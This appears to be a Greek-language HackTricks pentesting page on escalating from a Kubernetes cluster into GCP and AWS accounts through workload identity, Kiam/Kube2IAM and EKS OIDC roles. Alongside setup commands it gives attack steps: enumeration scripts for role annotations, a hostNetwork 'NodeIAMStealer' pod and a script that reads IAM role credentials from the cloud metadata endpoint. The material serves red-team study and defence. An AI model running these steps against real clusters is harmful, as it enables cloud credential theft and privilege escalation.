Kubernetes Pivoting to Clouds

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

GCP

Εάν εκτελείτε έναν cluster k8s μέσα στο GCP, πιθανώς θέλετε να δώσετε κάποια πρόσβαση στο GCP σε μια εφαρμογή που εκτελείται μέσα στο cluster. Υπάρχουν 2 κοινοί τρόποι για να το κάνετε αυτό:

Τοποθέτηση των κλειδιών GCP-SA ως μυστικό

Ένας κοινός τρόπος να δώσετε πρόσβαση σε μια εφαρμογή Kubernetes στο GCP είναι να:

  • Δημιουργήσετε έναν λογαριασμό υπηρεσίας GCP

  • Συσχετίστε τα επιθυμητά δικαιώματα με αυτόν

  • Κατεβάστε ένα κλειδί json για τον δημιουργημένο λογαριασμό υπηρεσίας

  • Τοποθετήστε το ως μυστικό μέσα στο pod

  • Ορίστε τη μεταβλητή περιβάλλοντος GOOGLE_APPLICATION_CREDENTIALS που δείχνει στη διαδρομή όπου βρίσκεται το json.

Συνεπώς, ως επιτιθέμενος, αν εξαπολύσετε μια επίθεση σε έναν container μέσα σε ένα pod, θα πρέπει να ελέγξετε αν υπάρχει αυτή η μεταβλητή περιβάλλοντος και αρχεία json με διαπιστευτήρια GCP.

Συσχέτιση του json GSA με το μυστικό KSA

Ένας τρόπος να δώσετε πρόσβαση σε έναν GSA σε ένα GKE cluster είναι να τους συσχετίσετε με τον εξής τρόπο:

  • Δημιουργήστε έναν λογαριασμό υπηρεσίας Kubernetes στον ίδιο χώρο ονομάτων με τον GKE cluster σας χρησιμοποιώντας την παρακάτω εντολή:

Copy codekubectl create serviceaccount <service-account-name>
  • Δημιουργήστε ένα Kubernetes Secret που περιέχει τα διαπιστευτήρια του λογαριασμού υπηρεσίας GCP στον οποίο θέλετε να παραχωρήσετε πρόσβαση στο GKE cluster. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας το εργαλείο γραμμής εντολών gcloud, όπως φαίνεται στο παρακάτω παράδειγμα:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Δέστε το Kubernetes Secret στον λογαριασμό υπηρεσίας του Kubernetes χρησιμοποιώντας την παρακάτω εντολή:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Στο δεύτερο βήμα έχουν οριστεί οι πιστοποιήσεις του GSA ως μυστικό του KSA. Στη συνέχεια, αν μπορείτε να διαβάσετε αυτό το μυστικό από μέσα στο GKE cluster, μπορείτε να αναβαθμιστείτε σε αυτόν τον λογαριασμό υπηρεσίας GCP.

Ταυτοποίηση Φορτίου Εργασίας GKE

Με την Ταυτοποίηση Φορτίου Εργασίας, μπορούμε να διαμορφώσουμε έναν λογαριασμό υπηρεσίας Kubernetes για να λειτουργεί ως ένας λογαριασμός υπηρεσίας Google. Τα pods που εκτελούνται με τον λογαριασμό υπηρεσίας Kubernetes θα πιστοποιούνται αυτόματα ως ο λογαριασμός υπηρεσίας Google κατά την πρόσβαση στις υπηρεσίες Google Cloud.

Τα πρώτα βήματα για να ενεργοποιήσετε αυτήν τη συμπεριφορά είναι να ενεργοποιήσετε την Ταυτοποίηση Φορτίου Εργασίας στο GCP (βήματα) και να δημιουργήσετε τον GCP SA που θέλετε το k8s να προσωποποιήσει.

  • Ενεργοποίηση της Ταυτοποίησης Φορτίου Εργασίας σε ένα νέο cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Δημιουργία/Ενημέρωση νέου nodepool (Τα Autopilot clusters δεν χρειάζονται αυτό)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Δημιουργήστε τον λογαριασμό υπηρεσίας GCP για εκπροσώπηση από το K8s με δικαιώματα GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Συνδεθείτε στο cluster και δημιουργήστε τον λογαριασμό υπηρεσίας που θα χρησιμοποιήσετε

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Συνδέστε το GSA με το KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Εκτελέστε ένα pod με το KSA και ελέγξτε την πρόσβαση στο GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Ελέγξτε την παρακάτω εντολή για να πιστοποιηθείτε σε περίπτωση που χρειαστεί:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Ως επιτιθέμενος μέσα στο K8s θα πρέπει να αναζητήσετε τα SAs με την iam.gke.io/gcp-service-account σημείωση καθώς αυτό υποδηλώνει ότι το SA μπορεί να έχει πρόσβαση σε κάτι στο GCP. Μια άλλη επιλογή θα ήταν να προσπαθήσετε να καταχραστείτε κάθε KSA στο cluster και να ελέγξετε αν έχει πρόσβαση. Από το GCP είναι πάντα ενδιαφέρον να απαριθμήσετε τις συνδέσεις και να γνωρίζετε ποια πρόσβαση δίνετε στα SAs μέσα στο Kubernetes.

Αυτό είναι ένα σενάριο για να επαναλάβετε εύκολα όλες τις ορισμένες pods αναζητώντας αυτήν τη σημείωση:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM ρόλος για Pods)

Ένας (απαρχαιωμένος) τρόπος να δίνετε IAM ρόλους σε Pods είναι να χρησιμοποιήσετε έναν Kiam ή έναν Kube2IAM server. Βασικά, θα πρέπει να εκτελέσετε ένα daemonset στο cluster σας με έναν είδος προνομιούχου IAM ρόλου. Αυτό το daemonset θα είναι αυτό που θα δίνει πρόσβαση σε IAM ρόλους στα pods που το χρειάζονται.

Καταρχήν, πρέπει να διαμορφώσετε ποιοι ρόλοι μπορούν να προσπελαστούν μέσα στο namespace, και το κάνετε με μια σημείωση μέσα στο αντικείμενο namespace:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Μόλις ο χώρος ονομάτων έχει διαμορφωθεί με τους ρόλους IAM που μπορεί να έχουν τα Pods, μπορείτε να υποδείξετε τον ρόλο που θέλετε σε κάθε ορισμό περιγραφής του pod με κάτι όπως:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Ως επιτιθέμενος, αν βρείτε αυτές τις επισημάνσεις σε pods ή namespaces ή έναν τρέχοντα διακομιστή kiam/kube2iam (πιθανώς στο kube-system), μπορείτε να υποκριθείτε σε κάθε ρόλο που χρησιμοποιείται ήδη από τα pods και περισσότερους (αν έχετε πρόσβαση στον λογαριασμό AWS, απαριθμήστε τους ρόλους).

Δημιουργία Pod με ρόλο IAM

Ο ρόλος IAM που πρέπει να δηλωθεί πρέπει να βρίσκεται στον ίδιο λογαριασμό AWS με τον ρόλο kiam/kube2iam και αυτός ο ρόλος πρέπει να έχει πρόσβαση σε αυτόν.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Ρόλος για Λογαριασμούς Υπηρεσίας K8s μέσω OIDC

Αυτός είναι ο συνιστώμενος τρόπος από την AWS.

  1. Στη συνέχεια, δημιουργείτε έναν IAM ρόλο με τα απαιτούμενα δικαιώματα για τον ΛΥ.

  2. Δημιουργήστε μια σχέση εμπιστοσύνης μεταξύ του IAM ρόλου και του ΛΥ με το όνομα (ή τα namespaces που παρέχουν πρόσβαση στον ρόλο για όλους τους ΛΥ του namespace). Η σχέση εμπιστοσύνης θα ελέγχει κυρίως το όνομα του πάροχου OIDC, το όνομα του namespace και το όνομα του ΛΥ.

  3. Τέλος, δημιουργήστε έναν ΛΥ με ένα σχόλιο που υποδηλώνει το ARN του ρόλου, και οι pods που τρέχουν με αυτόν τον ΛΥ θα έχουν πρόσβαση στο token του ρόλου. Το token είναι γραμμένο μέσα σε ένα αρχείο και η διαδρομή καθορίζεται στο AWS_WEB_IDENTITY_TOKEN_FILE (προεπιλογή: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Για να πάρετε το aws χρησιμοποιώντας το token από το /var/run/secrets/eks.amazonaws.com/serviceaccount/token, εκτελέστε:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Ως επιτιθέμενος, αν μπορείτε να απαριθμήσετε ένα cluster K8s, ελέγξτε για λογαριασμούς υπηρεσίας με αυτήν την αναφορά για να εξελιχθείτε σε AWS. Για να το κάνετε αυτό, απλά εκτελέστε/δημιουργήστε ένα pod χρησιμοποιώντας έναν από τους προνομιούχους λογαριασμούς υπηρεσίας IAM και κλέψτε το διακριτικό.

Επιπλέον, αν βρίσκεστε μέσα σε ένα pod, ελέγξτε τις μεταβλητές περιβάλλοντος όπως AWS_ROLE_ARN και AWS_WEB_IDENTITY_TOKEN.

Μερικές φορές η Πολιτική Εμπιστοσύνης ενός ρόλου μπορεί να είναι κακά διαμορφωμένη και αντί να δίνει πρόσβαση AssumeRole στον αναμενόμενο λογαριασμό υπηρεσίας, τη δίνει σε όλους τους λογαριασμούς υπηρεσίας. Επομένως, αν μπορείτε να γράψετε μια αναφορά σε έναν ελεγχόμενο λογαριασμό υπηρεσίας, μπορείτε να αποκτήσετε πρόσβαση στον ρόλο.

Ελέγξτε τη σελίδα που ακολουθεί για περισσότερες πληροφορίες:

Εύρεση Pods και SAs με IAM Roles στο Cluster

Αυτό είναι ένα σενάριο για να επαναλάβετε εύκολα όλα τα pods και τις ορισμένες sas ψάχνοντας για αυτήν την αναφορά:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Ρόλος IAM του κόμβου

Η προηγούμενη ενότητα αφορούσε το πώς να κλέψετε τους ρόλους IAM με τις pods, αλλά σημειώστε ότι ένας κόμβος του K8s cluster θα είναι ένα παράδειγμα μέσα στο cloud. Αυτό σημαίνει ότι είναι πολύ πιθανό ο κόμβος να έχει έναν νέο ρόλο IAM που μπορείτε να κλέψετε (σημειώστε ότι συνήθως όλοι οι κόμβοι ενός K8s cluster θα έχουν τον ίδιο ρόλο IAM, οπότε μπορεί να μην αξίζει να προσπαθήσετε να ελέγξετε κάθε κόμβο).

Ωστόσο, υπάρχει ένα σημαντικό απαιτούμενο για να έχετε πρόσβαση στο metadata endpoint από τον κόμβο, πρέπει να είστε στον κόμβο (ssh session;) ή τουλάχιστον να έχετε το ίδιο δίκτυο:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Κλέψτε το IAM Role Token

Προηγουμένως έχουμε συζητήσει πώς να συνδέσουμε IAM Roles σε Pods ή ακόμα και πώς να δραπετεύσουμε στον Node για να κλέψουμε το IAM Role που έχει συνδεθεί με το στιγμιότυπο.

Μπορείτε να χρησιμοποιήσετε τον παρακάτω κώδικα για να κλέψετε τα νέα σας διαπιστευτήρια IAM role:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated